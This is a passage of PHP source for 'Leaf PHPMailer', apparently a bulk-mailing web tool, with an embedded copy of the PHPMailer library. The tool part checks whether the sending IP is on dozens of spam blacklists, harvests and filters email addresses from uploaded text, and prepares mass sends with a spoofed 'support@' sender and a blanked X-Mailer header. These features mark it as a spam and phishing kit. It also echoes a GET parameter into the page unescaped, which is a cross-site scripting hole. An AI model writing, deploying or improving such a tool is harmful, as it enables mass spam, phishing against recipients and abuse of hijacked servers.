        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
